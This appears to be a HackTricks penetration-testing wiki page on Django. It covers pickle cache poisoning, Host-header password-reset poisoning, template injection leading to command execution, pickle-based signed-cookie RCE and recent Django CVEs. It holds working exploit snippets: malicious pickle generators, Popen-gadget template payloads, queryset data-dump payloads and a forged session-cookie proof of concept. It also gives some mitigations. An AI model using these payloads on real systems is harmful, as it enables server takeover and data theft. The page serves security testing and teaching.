django.md (13199B)
1 --- 2 title: "Django" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/django.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/django.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Django 14 15 ## Cache Manipulation to RCE 16 Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**.<sup>[[11]](#references)</sup> 17 18 Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It's important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation. 19 20 On **FileBasedCache**, the pickled value is written to a file under `CACHES['default']['LOCATION']` (often `/var/tmp/django_cache/`). If that directory is world-writable or attacker-controlled, dropping a malicious pickle under the expected cache key yields code execution when the app reads it:<sup>[[8]](#references)</sup> 21 22 ```bash 23 python - <<'PY' 24 import pickle, os 25 class RCE: 26 def __reduce__(self): 27 return (os.system, ("id >/tmp/pwned",)) 28 open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4)) 29 PY 30 ``` 31 32 This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436<sup>[[12]](#references)</sup> 33 34 --- 35 36 ## Host Header / Password Reset Poisoning 37 Django uses the request host to build absolute URLs in several common patterns: password reset emails, canonical links, redirects, `request.build_absolute_uri()`, sitemap generation, and multitenant logic. The framework validates the host only when code goes through `request.get_host()`. Therefore, **applications that read `request.META['HTTP_HOST']` or trust `HTTP_X_FORWARDED_HOST` in custom middleware can reintroduce classic Host header poisoning bugs even when `ALLOWED_HOSTS` is configured**. 38 39 ### High-value targets 40 * Password reset and email verification links generated from `request.build_absolute_uri()` 41 * Cache keys or reverse-proxy cache variations that include the host 42 * Tenancy / white-label logic that picks branding, callback URLs, or storage buckets from the host 43 * CSRF logic in deployments with attacker-controlled subdomains or overly broad cookie domains 44 45 ### Practical checks 46 ```http 47 POST /accounts/password/reset/ HTTP/1.1 48 Host: attacker.tld 49 X-Forwarded-Host: attacker.tld 50 X-Forwarded-Proto: https 51 ``` 52 53 Watch for: 54 * Reset links, absolute redirects, or preview URLs containing the injected host 55 * `SuspiciousOperation` only for `Host`, while `X-Forwarded-Host` still reaches application code 56 * Absolute URLs built from `request.META['HTTP_HOST']` instead of `request.get_host()` 57 58 Django's own security docs explicitly note that fake Host values can be used for CSRF, cache poisoning, and poisoning links in emails, and that reading the host directly from `request.META` bypasses `ALLOWED_HOSTS` protection.<sup>[[5]](#references)</sup> Also remember the CSRF limitation: if an attacker controls a subdomain and can set cookies for the parent domain, they may be able to satisfy the CSRF cookie/token check for the main app. 59 60 --- 61 62 ## Server-Side Template Injection (SSTI) 63 The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE. 64 65 ### Detection 66 1. Look for dynamic calls to `Template()` / `Engine.from_string()` / `render_to_string()` that include *any* unsanitised request data. 67 2. Send a time-based or arithmetic payload: 68 ```django 69 {{7*7}} 70 ``` 71 If the rendered output contains `49` the input is compiled by the template engine. 72 3. DTL is **not Jinja2**: arithmetic/loop payloads regularly raise `TemplateSyntaxError`/500 while still proving evaluation.<sup>[[8]](#references)</sup> Polyglots like `${{<%[%'"}}%` are good crash-or-render probes. 73 74 ### Context exfiltration when RCE is blocked 75 Even if object-walking to `subprocess.Popen` fails, DTL still exposes in-scope objects:<sup>[[8]](#references)</sup> 76 ```text 77 {{ request }} {# confirm SSTI #} 78 {{ request.META }} {# leak Gunicorn/UWSGI headers, cookies, proxy info #} 79 {{ users }} {# QuerySet in the context? #} 80 {{ users.0 }} {# first row #} 81 {{ users.values }} {# dumps dicts of every column (email/flags/plaintext passwords if stored) #} 82 ``` 83 `QuerySet.values()` coerces rows to dictionaries, bypassing `__str__` and exposing all fields returned by the queryset. This works even when direct Python execution is filtered.<sup>[[4]](#references)[[8]](#references)</sup> 84 85 **Automation pattern**: authenticate, grab the CSRF token, save a marker-prefixed payload in any persistent field (e.g., username/profile bio), then request a view that renders it (AJAX endpoints like `/likes/<id>` are common). Parse a stable attribute (e.g., `title="..."`) to recover the rendered result and iterate payloads.<sup>[[8]](#references)</sup> 86 87 ### Primitive to RCE 88 Django blocks direct access to `__import__`, but the Python object graph is reachable: 89 ```text 90 {{''.__class__.mro()[1].__subclasses__()}} 91 ``` 92 Find the index of `subprocess.Popen` (≈400–500 depending on Python build) and execute arbitrary commands: 93 ```text 94 {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}} 95 ``` 96 A safer universal gadget is to iterate until `cls.__name__ == 'Popen'`. 97 98 The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering features that mishandle user input. 99 100 --- 101 102 ### Also see: ReportLab/xhtml2pdf PDF export RCE 103 Applications built on Django commonly integrate xhtml2pdf/ReportLab to export views as PDF. When user-controlled HTML flows into PDF generation, rl_safe_eval may evaluate expressions inside triple brackets `[[[ ... ]]]` enabling code execution (CVE-2023-33733).<sup>[[3]](#references)</sup> Details, payloads, and mitigations: 104 105 [Reportlab Xhtml2Pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md) 106 107 --- 108 109 ## Pickle-Backed Signed Session Cookie RCE 110 If the application uses `SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'` together with `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` (or a custom serializer that deserialises pickle), Django will **unsign and unpickle attacker-controlled session data before view code runs**. In this configuration, a leaked `SECRET_KEY` immediately becomes an RCE primitive. 111 112 ### Exploit Requirements 113 * The server uses the signed-cookie session backend (`django.contrib.sessions.backends.signed_cookies`). 114 * The server uses `PickleSerializer`. 115 * The attacker knows / can guess `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.). 116 117 ### Recon and tooling 118 If the whole session is stored client-side, the `sessionid` cookie is usually a long signed blob rather than a short opaque session key from a server-side session store. That is the situation where `SECRET_KEY` guessing, reuse, or disclosure matters the most. 119 120 [`badsecrets`](https://github.com/blacklanternsecurity/badsecrets) can test Django signed cookies against known or weak secrets:<sup>[[9]](#references)[[10]](#references)</sup> 121 122 ```bash 123 pip install badsecrets 124 badsecrets --url https://target.tld/ 125 badsecrets '<sessionid_cookie_value>' 126 ``` 127 128 This is especially useful during wide scans for appliances or products that shipped with a hardcoded / tutorial `SECRET_KEY`, or after recovering a settings file from an LFI, debug page, or public repository. 129 130 ### Proof-of-Concept 131 ```python 132 #!/usr/bin/env python3 133 from django.contrib.sessions.serializers import PickleSerializer 134 from django.core import signing 135 import os, base64 136 137 class RCE(object): 138 def __reduce__(self): 139 return (os.system, ("id > /tmp/pwned",)) 140 141 mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer) 142 print(f"sessionid={mal}") 143 ``` 144 Send the resulting cookie, and the payload runs with the permissions of the WSGI worker. 145 146 **Mitigations**: keep the default `JSONSerializer`, rotate `SECRET_KEY`/`SECRET_KEY_FALLBACKS`, and leave `SESSION_COOKIE_HTTPONLY` enabled. Django's own signing/session docs explicitly recommend JSON here because JSON serialization prevents pickle-based code execution even if the signing key is exposed.<sup>[[6]](#references)[[7]](#references)</sup> 147 148 --- 149 150 ## Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check 151 These are useful as **version-gated testing hints**, but the important lesson is broader: recent Django SQLi fixes keep landing in places where developers assume "ORM == safe" while still passing attacker-controlled field names, JSON keys, or alias names into `*args` / `**kwargs`. 152 153 * **CVE-2025-48432** – *Log injection via unescaped `request.path`* (fixed June 4 2025). Allows attackers to smuggle newlines/ANSI escape sequences into application logs and poison downstream log ingestion or analyst terminals. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.<sup>[[1]](#references)</sup> 154 * **CVE-2025-57833** – *SQL injection in `FilteredRelation` column aliases* (fixed September 3 2025). Dangerous pattern: attacker-controlled dictionary expansion into `QuerySet.annotate()` / `QuerySet.alias()` keyword arguments.<sup>[[2]](#references)</sup> 155 * **CVE-2024-42005** – *SQL injection in `QuerySet.values()` / `values_list()` on `JSONField`* (fixed August 6 2024). Dangerous pattern: attacker-controlled JSON keys reaching `values(*user_keys)` or `values_list(*user_keys)`. 156 * **CVE-2024-53908** – *SQL injection in direct `HasKey(lhs, rhs)` usage on Oracle* (fixed December 4 2024). The common `field__has_key='x'` syntax is unaffected; the risky case is hand-built lookup objects with untrusted `lhs`. 157 158 Always fingerprint the exact framework version via the `X-Frame-Options` error page, `/static/admin/css/base.css` hashes, package metadata leaks, or debug stack traces, then test the affected call sites where user input influences lookup names or alias names rather than raw values. 159 160 --- 161 162 ## References 163 - [1] [Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432"](https://www.djangoproject.com/weblog/2025/jun/04/security-releases/) 164 - [2] [Django security release – "Django 5.2.6, 5.1.12, 4.2.24 address CVE-2025-57833"](https://www.djangoproject.com/weblog/2025/sep/03/security-releases/) 165 - [3] [0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD](https://0xdf.gitlab.io/2025/08/09/htb-university.html) 166 - [4] [Django docs – QuerySet.values()](https://docs.djangoproject.com/en/6.0/ref/models/querysets/#values) 167 - [5] [Django docs – Security in Django](https://docs.djangoproject.com/en/6.0/topics/security/) 168 - [6] [Django docs – Sessions](https://docs.djangoproject.com/en/6.0/topics/http/sessions/) 169 - [7] [Django docs – Signing](https://docs.djangoproject.com/en/6.0/topics/signing/) 170 - [8] [0xdf: HackNet (HTB) — HTML Attribute Injection → Django SSTI → QuerySet.values data dump → Pickle FileBasedCache RCE](https://0xdf.gitlab.io/2026/01/17/htb-hacknet.html) 171 - [9] [Black Lantern Security – Introducing Badsecrets](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) 172 - [10] [badsecrets project repository](https://github.com/blacklanternsecurity/badsecrets) 173 - [11] [Sour Pickles: A Serialised Exploitation Guide in One Part (Marco Slaviero, Black Hat USA 2011)](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) 174 - [12] [Django disclosed on HackerOne: Deserialization of potentially malicious data to RCE](https://hackerone.com/reports/1415436)